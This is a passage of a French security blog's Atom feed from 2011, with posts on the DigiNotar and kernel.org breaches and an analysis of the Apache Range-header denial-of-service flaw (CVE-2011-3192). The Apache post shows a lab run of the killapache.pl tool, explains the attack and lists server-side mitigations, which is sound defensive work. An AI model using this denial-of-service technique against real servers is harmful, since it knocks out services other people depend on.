l'équipe de Chrome&lt;/a&gt; qui expliquait commet twitter "LIKE A BOSS" (cf l'user agent). Ce sont un peu les mêmes raisons encore une fois. Un navigateur par type d'utilisation. Et le navigateur reste cloisonné dans la session qu'on lui alloue.&lt;br /&gt;&lt;br /&gt;Je cherche désormais à pouvoir utiliser différents DNS par navigateur afin de pouvoir circonvenir les sorties possibles. Pour reprendre l'idée précédente, si je veux "touiter comme un boss", j'aimerai que les seuls IP résolvables par mon navigateur soient celles de *twitter.com. Il faut que je creuse un peu la doc.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-2654343830369380468?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/2654343830369380468/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/differencier-ses-sessions-de-surf.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2654343830369380468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2654343830369380468'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/differencier-ses-sessions-de-surf.html' title='Différencier ses sessions de surf internet'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-451964656594751890</id><published>2011-10-05T14:38:00.000+02:00</published><updated>2011-10-05T14:38:08.871+02:00</updated><title type='text'>Mois du microblogging</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;J'ai accumulé ces derniers temps un certain nombre d'articles trop courts pour en faire un post de blog. Le mois d'octobre sera un mois du microblogging pendant lequel je vais les diffuser un par un jusqu'à épuisement des stocks. Il s'agit souvent d'idées non forcément vérifiées ou validées, exposées dans des messages relativement courts et ouverts à polémique.&lt;br /&gt;&lt;br /&gt;Le premier micro article date du mois dernier, et de l'attaque de Diginotar par un soi-disant étudiant iranien. Est il possible de remonter à l'attaquant? Une partie de son &lt;a href="http://pastebin.com/1AxH30em"&gt;premier message sur pastebin&lt;/a&gt; avait retenu mon attention:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;Have you ever heard of XUDA programming language which RSA Certificate manager uses it? NO! I heard of it in RSA Certificate Manager and I learned programming in it in same night, it is so unusual like greater than sign in all programming languages is "&amp;lt;" but in XUDA it is "{"&lt;/i&gt;&lt;/blockquote&gt;ainsi que &lt;a href="http://pastebin.com/GkKUhu35"&gt;le troisième&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;all files was coded in XUDA (there is no reference to XUDA programming language, even a single line),&lt;/i&gt;&lt;/blockquote&gt;On peut vraisemblablement penser qu'il a dû faire quelques recherches sur le langage Xuda, on peut également raisonnablement espérer qu'il ne surfe pas en permanence via tor (ou système équivalent). Le moteur de recherche sur internet le plus couramment utilisé est google. La seule info que l'on peut piocher chez google est google trends:&lt;br /&gt;&lt;a href="http://www.google.fr/trends?q=XUDA&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=2011&amp;amp;sort=0"&gt;http://www.google.fr/trends?q=XUDA&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=2011&amp;amp;sort=0&lt;/a&gt;&lt;br /&gt; qui fait plutôt référence à la turquie, mais les résultats de google trends sont très variables aussi je n'y accorderai qu'une confiance modérée.&lt;br /&gt;&lt;br /&gt;Ce qui signifie que si on pouvait avoir accès aux logs complets chez google (et où d'autres moteurs de recherches) il serait facile de vérifier si des recherches sur le langage XUDA ont été faites depuis une cité universitaire iranienne (ou pas) :-)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-451964656594751890?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/451964656594751890/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/mois-du-microblogging.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/451964656594751890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/451964656594751890'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/mois-du-microblogging.html' title='Mois du microblogging'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-8644552111707836347</id><published>2011-09-07T11:10:00.002+02:00</published><updated>2011-09-08T11:38:16.432+02:00</updated><title type='text'>Parler ou pas de Diginotar?</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;En ce moment, on entend énormément parler de l'EPIC FAIL de &lt;a href="https://www.diginotar.nl/"&gt;Diginotar&lt;/a&gt; qui s'est fait pirater. Mais cela vaut il la peine d'en parler? Nous savons que l'architecture SSL d'internet repose sur la confiance que l'on donne à une liste d'autorités installées par défaut dans notre navigateur.&lt;br /&gt;News0ft a écrit un &lt;a href="http://news0ft.blogspot.com/2010/04/ssl-est-casse.html"&gt;excellent post de blog&lt;/a&gt; expliquant pourquoi SSL est cassé. Il faut aujourd'hui compléter son post de blog en ajoutant que l'architecture SSL est encore plus cassée si l'on prend en compte la faible sécurité des infrastructures des entreprises délivrant des certificats.&lt;br /&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;On refait le match&lt;/u&gt;:&lt;br /&gt;A l'origine, nous avons &lt;a href="http://hkashfi.blogspot.com/"&gt;un blogueur iranien&lt;/a&gt; qui détecte à l'aide du &lt;a href="http://www.imperialviolet.org/2011/05/04/pinning.html"&gt;public key pinning&lt;/a&gt; de google chrome que le certificat de gmail n'est pas le bon. Il envoie &lt;a href="https://twitter.com/#%21/hkashfi/status/107758824810758144"&gt;un message sur twitter&lt;/a&gt;, puis le &lt;a href="https://lkml.org/lkml/2008/7/15/296"&gt;security circus&lt;/a&gt; s'emballe et s'&lt;a href="http://extraexploit.blogspot.com/2011/09/diginotar-facts-just-some-links.html"&gt;enflamme&lt;/a&gt;.&lt;br /&gt;Résultat de ce bruissement, pas grand chose. On savait déjà qu'il est possible de faire du MiTM sur SSL tant qu'on a un certificat adéquat, on savait déjà que les CA sont le maillon faible de l'architecture de confiance, et le seul fait finalement intéressant et à discuter concerne l'EPIC FAIL de diginotar.&lt;br /&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;EPIC FAIL:&lt;/u&gt;&lt;br /&gt;La lecture du &lt;a href="http://www.scribd.com/doc/64011372/Operation-Black-Tulip-v1-0"&gt;compte-rendu de l'attaque par l'entreprise Fox-It&lt;/a&gt; est édifiante. Dans l'ordre, nous avons:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;des serveurs webs non patchés (Un &lt;a href="http://www.f-secure.com/weblog/archives/00002228.html"&gt;message intéressant de F-secure&lt;/a&gt; indique que les serveurs webs de diginotar ont été hackés une première fois en mai 2009 (!) Ceci dit, nulle part n'est indiqué comment cette date a été trouvée.)&lt;/li&gt;&lt;li&gt;une infrastructure critique sans antivirus, le pirate a pu utiliser des outils comme &lt;a href="http://www.oxid.it/cain.html"&gt;Cain&amp;amp;Abel&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;un mot de passe faible&lt;/li&gt;&lt;li&gt;un unique domaine windows, ce qui permet avec un seul login/mdp de naviguer sur l'ensemble du réseau&lt;/li&gt;&lt;li&gt;un accès direct à l’infrastructure de signature de certificats, alors que la règle veut que ces machines soient déconnectées de tout réseau (et pour y avoir travaillé, je confirme que j'ai vu dans des grandes entreprises la CA sur un portable déconnecté du réseau dans un coffre).&lt;/li&gt;&lt;li&gt;Le pirate a pu générer plus de 500 certificats (!!!) et les récupérer. Il devient évident que la CA de diginotar doit être évacuée des magasins de certificats. &lt;/li&gt;&lt;/ul&gt;La timeline des évènements m'étonne également beaucoup:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Le 6 juin 2011 le pirate arrive.&lt;/li&gt;&lt;li&gt;Le 17, il a la main sur la DMZ&lt;/li&gt;&lt;li&gt;Le 19 juin Diginotar détecte la compromission (et que font ils? Ils prennent le café? Ils font une réunion pour se tenir chaud?)&lt;/li&gt;&lt;li&gt;Le 2 juillet le pirate essaye de créer des certificats. Le 10 juillet, il y arrive, le premier est celui de *.google.com&lt;/li&gt;&lt;li&gt;Le 20 juillet, le dernier certificat est créé.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Le 27 juillet, une requête OCSP pour *.google.com arrive chez diginotar.&amp;nbsp;&lt;/li&gt;&lt;li&gt;A partir du 4 août, un énorme afflux de requêtes OCSP proviennent de l'iran.&lt;/li&gt;&lt;li&gt;Le 27 août un message est posté sur &lt;a href="http://www.google.co.uk/support/forum/p/gmail/thread?tid=2da6158b094b225a&amp;amp;hl=en"&gt;un forum google&lt;/a&gt; (27 selon le rapport, 28 selon le message du forum?)&lt;/li&gt;&lt;li&gt;Le 29 Août le faux certificat de google est révoqué.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Le 1er septembre OCSP fonctionne sur un mécanisme de whitelist, je suppose que c'est face à l'étendue de la débâcle découverte par Fox-it. &lt;/li&gt;&lt;/ul&gt;&lt;u&gt;Et le pirate:&lt;/u&gt;&lt;br /&gt;Le pirate semble être le même que &lt;a href="http://pastebin.com/u/ComodoHacker"&gt;Comodohacker&lt;/a&gt;. Son message sur &lt;a href="http://pastebin.com/1AxH30em"&gt;pastebin&lt;/a&gt; semble véridique, et le rapport note quelques similitudes entre les deux attaques. Un seul point diffère entre l'analyse de Fox-it et les dires du pirate: il affirme s'être connecté sur un réseau déconnecté d'internet pour faire signer ses certificats, Foxit indique que l'architecture signant les requêtes était joignable depuis un réseau d'administration.&lt;br /&gt;Il a posté &lt;a href="http://pastebin.com/85WV10EL"&gt;deux&lt;/a&gt; nouveaux &lt;a href="http://pastebin.com/jhz20PqJ"&gt;messages&lt;/a&gt; confirmant son attaque. &lt;i&gt;[tiens, je vais supprimer Globalsign de mon magasin de certificats juste au cas où :-) ]&lt;/i&gt;&lt;br /&gt;&lt;b&gt;Update&lt;/b&gt;: Cela se confirme, &lt;a href="http://www.globalsign.co.uk/"&gt;Globalsign &lt;/a&gt;a décidé de ne plus signer de certificats le temps de &lt;a href="http://www.globalsign.co.uk/company/press/090611-security-response.html"&gt;vérifier ses infrastructures&lt;/a&gt;.&lt;br /&gt;Update: le pirate continue d'émettre sur &lt;a href="http://pastebin.com/GkKUhu35"&gt;pastebin ses messages&lt;/a&gt;. Rien de neuf si ce n'est qu'il indique être très fort et qu'il faut le prendre très au sérieux.&lt;br /&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;Sooooo, what's the point?&lt;/u&gt;&lt;br /&gt;Eh bien on apprend qu'un pirate peut attaquer avec succès des sociétés délivrant des certificats, et que de ce fait les communications SSL peuvent être écoutées. Comme je disais en introduction, rien de bien neuf, cela vaut il la peine d'en parler? Sur internet, "trust, but verify" est de mise. Je rappelle les extensions firefox données sur le blog de News0ft: &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/7974"&gt;perspectives&lt;/a&gt; et &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/certificate-patrol/"&gt;certificate patrol&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt; On lit encore sur internet des déclarations outrées sur le fait que le pirate ait pu avoir l'accès à la clé privée de la CA de diginotar.&amp;nbsp;Je ne pense pas qu'il y ait eu accès, s'il avait cette clé, il n'aurait jamais fait signer par diginotar ses +500 certificats. Je pense à la lecture du compte-rendu de FoxIt et du message de ComodoHacker que le pirate n'a eu accès qu'au workflow de signature de certificats, a pu ajouter les siens puis récupérer les certificats signés à la sortie. En ce sens, il y a du FAIL chez diginotar qui aurait du détecter que le nombre de certificats variait, de plus des alertes devraient être levées dès que des wildcards ou des certificats au nom de "google" ou autre nom sensible sont demandés.&lt;br /&gt;&lt;br /&gt;Par contre, puisqu'on apprend actuellement toutes les semaines que des grandes infras sont piratées, je jetterai bien une idée en l'air. Et si on imaginait que nos infras étaient piratées? Là, maintenant. Qu'on lance le même genre d'investigations poussées suite à un incident avéré. Qui serait capable de lancer un audit complet? Que trouverions nous dans nos infras?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-8644552111707836347?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/8644552111707836347/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/09/parler-ou-pas-de-diginotar.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8644552111707836347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8644552111707836347'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/09/parler-ou-pas-de-diginotar.html' title='Parler ou pas de Diginotar?'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-9079014175323103910</id><published>2011-09-01T10:35:00.001+02:00</published><updated>2011-09-06T09:11:05.806+02:00</updated><title type='text'>kernel.org est compromis.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Le site &lt;a href="http://kernel.org/"&gt;kernel.org&lt;/a&gt; est le site officiel du développement du noyau linux. Il s'agit d'un site massivement &lt;a href="http://www.kernel.org/mirrors/"&gt;mirroré&lt;/a&gt; au travers du monde. Un des serveurs, hera.kernel.org (indisponible à cette heure) a été &lt;a href="http://www.kernel.org/"&gt;compromis&lt;/a&gt;. Le message du site central est éloquent: "&lt;i&gt;Security Breach&lt;/i&gt;".&amp;nbsp; Le message qui suit est une traduction commentée du message initial diffusé sur kernel.org.&lt;br /&gt;&lt;br /&gt;La compromission fût détectée fortuitement le 28 Août par un administrateur qui a lu des messages d'erreurs étranges dans le /dev/mem lié à Xnest alors qu'Xnest n'était pas installé... Ceci me fait penser à la vidéo de &lt;a href="http://news0ft.blogspot.com/"&gt;Nicolas Ruff&lt;/a&gt; sur les &lt;a href="http://www.cnis-mag.com/vulnerabilites-aujourd%E2%80%99hui-et-demain-en-quelques-clics-videos-slides-et-photos-2.html"&gt;APT&lt;/a&gt; que j'ai visionnée sur le blog de &lt;a href="http://sid.rstack.org/blog/index.php/433-apt-mon-amour"&gt;Cédric Blancher&lt;/a&gt;. Une des diapositives de sa &lt;a href="http://www.cnis-mag.com/wp-content/uploads/2011/08/Nicolas-Ruff-APT-0.1.pdf"&gt;présentation&lt;/a&gt; indique: "&lt;i&gt;Les compromissions sont souvent découvertes par hasard&lt;/i&gt;"...&lt;br /&gt;&lt;br /&gt;Une seconde analyse attentive du serveur par les administrateurs à montré qu'un troyen était lancé automatiquement au reboot de la machine, signe évident de compromission. De plus les fichiers liés à &lt;a href="http://www.openssh.com/"&gt;ssh&lt;/a&gt; (openssh, openssh-server et openssh-clients) ont été modifiés et étaient en cours d'utilisation. Apparement le programme malveillant loggait les actions des utilisateurs du système. Une analyse élargie a montré que plusieurs autres serveurs présentaient des erreurs curieuses une fois de plus liées à Xnest, sans qu'il ne soit possible à l'heure actuelle de faire le lien formel entre compromission et messages d'erreurs Xnest. Quoi qu'il en soit, il est conseillé à tous les développeurs noyaux impliqués de vérifier la présence de ce genre de messages sans qu'il ne soit plus donné de précisions (Que faut il chercher? un crash? oops? autre type d'erreur?).&lt;br /&gt;&lt;br /&gt;La compromission initiale s'est faite en deux temps selon les administrateurs. L'attaquant aurait utilisé un login/mot de passe (soit faible, soit obtenu par un moyen tiers ce n'est pas précisé) pour obtenir un shell local puis aurait utilisé une &lt;a href="http://en.wikipedia.org/wiki/0day"&gt;faille inconnue&lt;/a&gt; pour devenir root. Des recherches sont en cours, une note indique que le noyau 3.1rc2 pourrait bloquer cette attaque sans plus de certitudes.&lt;br /&gt;&lt;br /&gt;Une grosse opération de nettoyage est en cours puisque les machines ont toutes été mises off-line pour analyse. Les autorités (haha) américaines et européennes ont été prévenues. Toutes les machines de kernel.org vont être réinstallées. Les 448 utilisateurs de ces machines vont devoir changer de mots de passes et/où de clé SSH.&amp;nbsp; Et enfin tous les fichiers composant le noyau linux sont analysés, ainsi que les tarballs pour s'assurer qu'aucune modification n'y a été effectuée.&lt;br /&gt;&lt;br /&gt;Le message d'alerte termine sur une note positive en indiquant que l'attaque est inutile car le mode de développement de liux est basé sur &lt;a href="http://en.wikipedia.org/wiki/Git_%28software%29"&gt;git&lt;/a&gt;. Git calcule un hash SHA-1 de chacun des fichiers composant l'arbre des sources. Il n'est donc pas possible de modifier un de ces fichiers, et donc l'attaquant n'a pas de possibilités de "&lt;i&gt;trojaniser&lt;/i&gt;" un noyau linux qui sera diffusé par la suite. Un deuxième avantage lié au mode de développement décentralisé de linux fait qu'il existe une quantité innombrable de duplicata de ces sources, permettant ainsi de détecter le changement entre deux versions. Le message termine par ces mots "&lt;i&gt;(we) are confident that our systems, specifically git, have excellent desgin to prevent real damage from these types of attacks&lt;/i&gt;".&lt;br /&gt;&lt;br /&gt;Dans un sens, oui, ils ont raison, mais je ne suis pas rassuré pour autant. Je ne suis pas développeur, je n'utilise donc pas git, je ne peux donc pas compter sur son mécanisme de checksums élaboré. Je télécharge mes noyaux en &lt;a href="http://en.wikipedia.org/wiki/Tar.bz2#Compression_and_naming"&gt;tar.bz2&lt;/a&gt; sur un des mirroirs cités plus haut en vérifiant sa signature. Et la vérification de signature, &lt;a href="http://www.kernel.org/signature.html"&gt;http://www.kernel.org/signature.html&lt;/a&gt;, le dit bien: "&lt;i&gt;This signature does not guarantee that the Linux Kernel  Archives master site itself has not been compromised.&lt;/i&gt;". Donc à l'heure actuelle, je ne vais sûrement pas télécharger de noyaux :-) Le second point qui m'inquiète toujours un peu dans ce genre de compromissions c'est &lt;a href="http://exploitability.blogspot.com/2010/04/compromission-dapache-bis.html"&gt;le&lt;/a&gt; &lt;a href="http://exploitability.blogspot.com/2009/08/compromission-dapacheorg.html"&gt;flou&lt;/a&gt; &lt;a href="http://www.certa.ssi.gouv.fr/site/CERTA-2008-AVI-428/"&gt;artistique&lt;/a&gt; (apache, redhat) qui entoure la compromission. La communication est toute à leur honneur et est je pense essentielle. Néanmoins, j'aimerai également (vœu pieux) un gros travail de communication rétroactif une fois la crise passé pour pouvoir prendre le temps d'analyser cette compromission à froid.&lt;br /&gt;&lt;br /&gt;EDIT: les serveurs ne sont toujours pas remontés. Linux Torvalds a choisi de &lt;a href="https://lkml.org/lkml/2011/9/4/92"&gt;migrer l'arbre des sources&lt;/a&gt; sur &lt;a href="https://github.com/torvalds/linux"&gt;github&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-9079014175323103910?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/9079014175323103910/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/09/kernelorg-est-compromis.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/9079014175323103910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/9079014175323103910'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/09/kernelorg-est-compromis.html' title='kernel.org est compromis.'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-3063267454684294361</id><published>2011-08-25T17:57:00.007+02:00</published><updated>2011-08-31T15:18:27.416+02:00</updated><title type='text'>Apache range header et CVE-2011-3192</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;a href="http://apache.org/"&gt;Apache &lt;/a&gt;est vulnérable à une attaque par déni de service.&amp;nbsp;L'origine de ce &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192"&gt;CVE &lt;/a&gt;débute le 20 Août sur la mailing liste &lt;a href="http://seclists.org/fulldisclosure/"&gt;full disclosure&lt;/a&gt; par un message de &lt;a href="http://seclists.org/fulldisclosure/2011/Aug/175"&gt;Kingcope&lt;/a&gt;. Il propose en effet un petit outil en perl &lt;i&gt;killapache.pl &lt;/i&gt;réalisant un denial of service sur les serveurs web apache, toutes versions confondues. Je propose une analyse rapide de celui-ci en deux points: tout d'abord une explication de cette attaque, ensuite les moyens d'en réduire l'impact.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;1/ L'attaque&lt;/u&gt;&lt;br /&gt;Une lecture rapide du code perl montre qu'il utilise le &lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html"&gt;header HTTP Range&lt;/a&gt;. Une explication claire de ce header HTTP est disponible &lt;a href="http://labs.apache.org/webarch/http/draft-fielding-http/p5-range.html"&gt;ici&lt;/a&gt;. Pour résumer, un serveur HTTP peut ne renvoyer que quelques parties d'un fichier sur demande d'un client à l'aide de l'entête "&lt;i&gt;Range&lt;/i&gt;".&lt;br /&gt;Cet outil d'attaque, killapache.pl, envoie une première requête afin de s'assurer que le serveur distant accepte d'envoyer des morceaux de fichiers (des "Range") et si oui l'attaque est lancée [Attention, cette vérification n'est pas fiable, c'est à dire qu'un serveur marqué non vulnérable peut l'être..]. L'outil analyse le code retour de la première requête en cherchant le mot "&lt;i&gt;Partial&lt;/i&gt;".&lt;br /&gt;&lt;br /&gt;J'ai utilisé &lt;a href="http://www.dest-unreach.org/socat/"&gt;socat &lt;/a&gt;afin de voir l'attaque fonctionner 'in vivo'. Depuis un xterm je lance donc:&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: 'Courier New',Courier,monospace;"&gt;kevin@slackware:~$ socat - TCP-LISTEN:8080,reuseaddr,fork&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;D'un autre xterm je lance l'attaque (après avoir modifié le script pour qu'il tape le port 8080, constante PeerPort):&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman';"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;kevin@slackware:~$&amp;nbsp;perl kill_apache.pl 127.0.0.1&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;Il suffit d'observer l'attaque après avoir renvoyé "&lt;i&gt;Partial&lt;/i&gt;" (une réponse non RFC mais suffisante pour que l'attaque soit lancée):&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-TM9XAmiXqmE/TlZevUEPCFI/AAAAAAAAAGM/qjmwg4SwitA/s1600/CVE-2011-3192-a.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-TM9XAmiXqmE/TlZevUEPCFI/AAAAAAAAAGM/qjmwg4SwitA/s1600/CVE-2011-3192-a.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;[je coupe un peu, c'est long. &amp;nbsp;snip--- snip--- snip--- vous comprenez l'idée de cette ligne d'en-tête. ]&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-zL-iNAO0_Hg/TlZevOPpdPI/AAAAAAAAAGI/8rVSolo8_-A/s1600/CVE-2011-3192-b.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-zL-iNAO0_Hg/TlZevOPpdPI/AAAAAAAAAGI/8rVSolo8_-A/s1600/CVE-2011-3192-b.png" /&gt;&lt;/a&gt;&lt;/div&gt;Et les requêtes s'enchaînent.&lt;br /&gt;&lt;br /&gt;L'attaque devient évidente. En réponse à ces requêtes, le serveur va donc prendre la page d'accueil du site web attaqué, la zipper 1300 fois puis découper ces 1300 fichiers zippés afin de renvoyer les bonnes parties de celui-ci au client.&lt;br /&gt;Finesse supplémentaire de l'attaque, ce n'est pas un GET, mais un HEAD qui est demandé. Donc le serveur va calculer une très grosse quantité de données et n'en renvoyer que le début ! Nous sommes donc en présence d'un &lt;a href="http://en.wikipedia.org/wiki/Denial-of-service_attack"&gt;DoS &lt;/a&gt;de belle facture où le client avec quelques requêtes va provoquer énormément de travail sur un serveur sans être lui-même impacté.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2/ Mitigations&lt;/u&gt;&lt;br /&gt;Un ensemble de bons conseils ont été donnés sur la &lt;a href="http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/browser"&gt;mailing list apache&lt;/a&gt;. Il n'existe pas de solution unique, je décris les idées émises.&lt;br /&gt;&lt;br /&gt;Nous avons vu que l'en-tête Range est utile pour n'envoyer qu'une partie des fichiers. Cet en-tête est donc particulièrement employé pour des sites pourvoyeurs de gros pdfs (genre e-readers) ou de videos. En dehors de ces cas ou autre emploi similaire (Webdav?), la désactivation de cet en-tête est la solution la plus simple à mettre en oeuvre:&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&lt;span class="Apple-style-span" style="background-color: white; white-space: pre-wrap;"&gt;        RequestHeader unset Range &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Une deuxième solution propose de limiter la longueur des en-têtes. Les images ci-dessus montrent que l'en-tête Range: ne fait qu'une seule ligne. La directive de configuration:&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre style="white-space: pre-wrap;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;        LimitRequestFieldSize 200&lt;/span&gt;&lt;/pre&gt;permet de bloquer effectivement cette attaque. Deux points sont à considérer. Tout d'abord certains autres en-têtes peuvent légitimement avoir besoin d'une taille supérieure ce qui provoquera un blocage du service se servant de cette en-tête. C'est donc à adapter au cas par cas. Ensuite, cette attaque est appelée à évoluer et il apparaît comme crédible qu'elle fonctionnera avec un en-tête plus petit.&lt;br /&gt;&lt;br /&gt;Une troisième solution préconise de limiter le nombre de champ Range dans la même requête au nombre de 5 (limite arbitraire, à adapter, des cas légitimes d'usages existent). Ceci se fait via un &lt;a href="http://people.apache.org/%7Edirkx/mod_rangecnt.c"&gt;module apache&lt;/a&gt;&amp;nbsp;développé pour l'occasion, ou des directives de configuration (expliquées dans le mail apache).&lt;br /&gt;&lt;br /&gt;Enfin, la dernière solution consiste à attendre :-) Les développeurs apache ont promis une solution dans les 48 heures.&lt;br /&gt;&lt;br /&gt;Pour l'historique, L'en tête Range: a déjà souffert d'une faille&amp;nbsp;légèrement&amp;nbsp;similaire en requêtant plusieurs fois le même morceau de fichier:&amp;nbsp;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0086"&gt;CVE-2007-0086&lt;/a&gt;.&amp;nbsp;Mon conseil serait donc de désactiver cet en-tête à moins que le site web en fasse un usage vital. Deux CVE sur un même en-tête HTTP risquent de donner des idées à des attaquants qui chercheront à affiner/modifier cette attaque pour qu'elle soit la plus efficace possible en étant moins bruyante.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;3/conclusion&lt;/u&gt;&lt;br /&gt;C'est effectivement un attaque fructueuse, certains messages sur des mailings listes indiquent que la machine s'est mise à swapper de manière démesurée jusqu'à provoquer un blocage complet.&amp;nbsp;Les méthodes de mitigation sont très effectives et clairement exposées dans le mail apache. Une proposition d'évolution de la norme HTTP RFC 2616 &lt;a href="http://trac.tools.ietf.org/wg/httpbis/trac/ticket/311"&gt;est faite&lt;/a&gt;&amp;nbsp;suite à discussion sur une &lt;a 